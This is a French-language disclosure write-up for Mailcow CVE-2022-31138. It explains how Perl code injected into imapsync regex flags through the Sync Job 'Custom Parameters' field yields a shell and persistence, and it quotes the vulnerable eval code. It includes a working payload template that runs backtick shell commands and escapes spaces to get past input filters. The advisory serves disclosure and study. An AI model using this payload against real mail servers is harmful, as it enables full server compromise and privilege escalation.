
Mailcow CVE-2022-31138 RCE
RCE et élévation de privilèges de Domain Admin pour Mailcow. Le POC pour CVE-2022-31245 peut être modifié pour fonctionner avec cette vulnérabilité.
Signalé et corrigé : 2022-06
Type : Injection de code (CWE-94), RCE, prise de contrôle de domaine
Versions concernées : au moins 2019 - 2022-06a
Une faille existe dans toutes les versions récentes de Mailcow où un utilisateur régulier du système peut exploiter la fonctionnalité « Sync Job » pour obtenir un shell grâce à une injection de code perl dans un champ regex arbitraire dans imapsync. En utilisant cet exploit, un attaquant peut ensuite facilement pivoter vers la base de données et élever ses privilèges au rôle de « Domain Admin » dans Mailcow.
Cet exploit inclut une persistance par défaut puisque les Sync Jobs s'exécutent selon une minuterie.
Cet exploit compromet l'ensemble de l'instance Mailcow. Testé et fonctionnel sur la dernière version en date de 2022-06a.
Presque toutes les expressions regex dans imapsync sont évaluées à l'aide de la fonction eval, ce qui est très dangereux lorsque les paramètres proviennent d'une entrée utilisateur. Par exemple, voici comment --regexmess est analysé dans imapsync (ligne 14213) :
sub regexmess
{
my ( $string ) = @_ ;
foreach my $regexmess ( @regexmess ) {
$sync->{ debug } and myprint( "eval \$string =~ $regexmess\n" ) ;
my $ret = eval "\$string =~ $regexmess ; 1" ;
Dans Mailcow, $regexmess est fourni comme entrée utilisateur.
Les indicateurs imapsync suivants (il pourrait y en avoir d'autres) peuvent être utilisés pour parvenir à une exécution de code :
--regexmess
--skipmess
--regexflag
--delete2foldersonly
--delete2foldersbutnot
--regextrans2
En suivant les étapes ci-dessous, la vulnérabilité peut être reproduite.
Obtenir un shell :
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --regexmess=PERL_CODE
Le champ « Custom Parameters » est le champ important. PERL_CODE peut être n'importe quel code perl.Exemple de payload pour Custom Parameters :
--debug --nosslcheck --regexmess=`touch\x{0020}test.txt`
PERL_CODE ne peut pas contenir d'espaces, de guillemets ni de barres obliques, utilisez \x{0020} au lieu d'un espace. Utilisez ` pour exécuter des commandes shell.
Élévation de privilèges :
Suivez les mêmes étapes que dans CVE-2022-31245.